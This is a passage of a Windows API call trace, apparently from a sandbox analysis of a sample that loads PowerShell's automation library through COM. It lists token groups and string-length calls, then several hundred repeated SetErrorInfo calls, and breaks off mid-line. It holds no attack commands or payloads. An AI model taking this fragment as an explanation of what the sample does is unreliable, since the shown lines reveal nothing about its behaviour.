[0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 8 os_tid = 0x648 [0060.931] SysStringByteLen (bstr="4") returned 0x2 [0060.932] SysStringByteLen (bstr="䢠-") returned 0x136 [0060.932] SysStringByteLen (bstr="䢠-") returned 0x136 [0060.934] SysStringByteLen (bstr="DEBUG") returned 0xa [0060.934] SysStringByteLen (bstr="System.dll|C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll") returned 0xfe [0060.934] SysStringLen (param_1=0x0) returned 0x0 [0060.934] SysStringLen (param_1=0x0) returned 0x0 [0060.934] SysStringByteLen (bstr="DEBUG") returned 0xa [0060.934] SysStringLen (param_1=0x0) returned 0x0 [0060.934] SysStringByteLen (bstr="DEBUG") returned 0xa [0060.934] SysStringByteLen (bstr="āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā") returned 0x136 [0060.934] SysStringByteLen (bstr="4") returned 0x2 [0060.934] SysStringByteLen (bstr="System.dll|C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll") returned 0xfe [0060.936] SysStringByteLen (bstr="DEBUG") returned 0xa [0060.936] SysStringByteLen (bstr="āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā") returned 0x136 [0060.936] SysStringByteLen (bstr="4") returned 0x2 [0060.936] SysStringByteLen (bstr="System.dll|C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll") returned 0xfe [0060.972] CoCreateInstance (in: rclsid=0x538005b10*(Data1=0xe5cb7a31, Data2=0x7512, Data3=0x11d2, Data4=([0]=0x89, [1]=0xce, [2]=0x0, [3]=0x80, [4]=0xc7, [5]=0x92, [6]=0xe5, [7]=0xd8)), pUnkOuter=0x0, dwClsContext=0x15, riid=0x538005b90*(Data1=0x31bcfce2, Data2=0xdafb, Data3=0x11d2, Data4=([0]=0x9f, [1]=0x81, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x79, [6]=0xa0, [7]=0xa3)), ppv=0x12fd88 | out: ppv=0x12fd88*=0x2d48a0) returned 0x0 [0060.982] SysStringLen (param_1=0x0) returned 0x0 [0060.982] SysStringLen (param_1="System.dll|C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll") returned 0x7f [0060.987] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.010] SysStringByteLen (bstr="DEBUG") returned 0xa [0061.011] SysStringByteLen (bstr="DEBUG") returned 0xa [0061.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.056] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.056] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.068] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.068] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.090] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.102] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.117] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.118] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.120] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.132] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.132] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.132] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.132] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.132] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.132] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.136] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.136] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.136] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.136] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.136] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.136] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.136] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.136] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.136] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.136] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.136] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.138] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.138] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.138] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.138] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.138] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.138] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.139] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.139] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.139] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.139] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.140] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.140] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.140] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.141] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.141] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.141] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.141] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.142] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.142] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.142] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.142] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.143] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.143] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.143] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.143] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.143] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.143] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.143] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.143] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.144] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.144] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.144] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.144] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.144] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.145] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.145] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.145] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.146] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.146] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.146] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.146] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.147] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.147] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.147] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.147] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.148] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.148] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.148] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.149] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.149] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.149] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.149] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.150] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.150] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.151] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.151] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.151] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.152] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.152] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.153] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.153] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.153] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.153] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.154] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.154] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.154] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.154] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.155] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.155] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.155] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.156] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.156] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.156] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.156] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.157] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.157] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.157] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.157] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.158] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.158] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.158] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.158] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.159] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.159] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.159] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.159] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.160] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.160] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.160] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.160] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.161] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.161] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.161] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.161] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.162] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.162] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.162] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.162] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.162] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.163] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.163] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.163] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.163] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.164] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.164] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.164] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.164] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.165] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.165] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.165] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.166] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.166] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.166] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.166] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.166] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.167] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.167] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.167] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.167] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.168] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.168] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.168] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.168] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.169] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.169] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.169] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.169] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.170] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.170] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.170] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.170] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.171] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.171] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.171] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.171] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.172] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.172] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.172] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.173] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.173] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.173] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.174] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.174] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.174] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.174] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.174] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.175] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.175] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.175] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.176] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.176] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.176] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.176] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.176] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.176] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.177] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.177] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.177] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.177] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.177] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.177] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.178] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.178] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.178] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.179] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.179] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.179] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.179] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.179] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.179] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.180] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.180] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.180] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.180] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.180] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.180] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.181] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.181] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.181] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.181] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.181] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.182] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.182] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.182] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.182] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.183] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.183] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.183] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.183] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.184] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.184] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.184] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.184] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.184] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.185] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.185] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.185] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.185] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.185] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.190] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.190] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.190] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.190] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.190] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.192] SetErrorInfo (dwReserved=0x0, 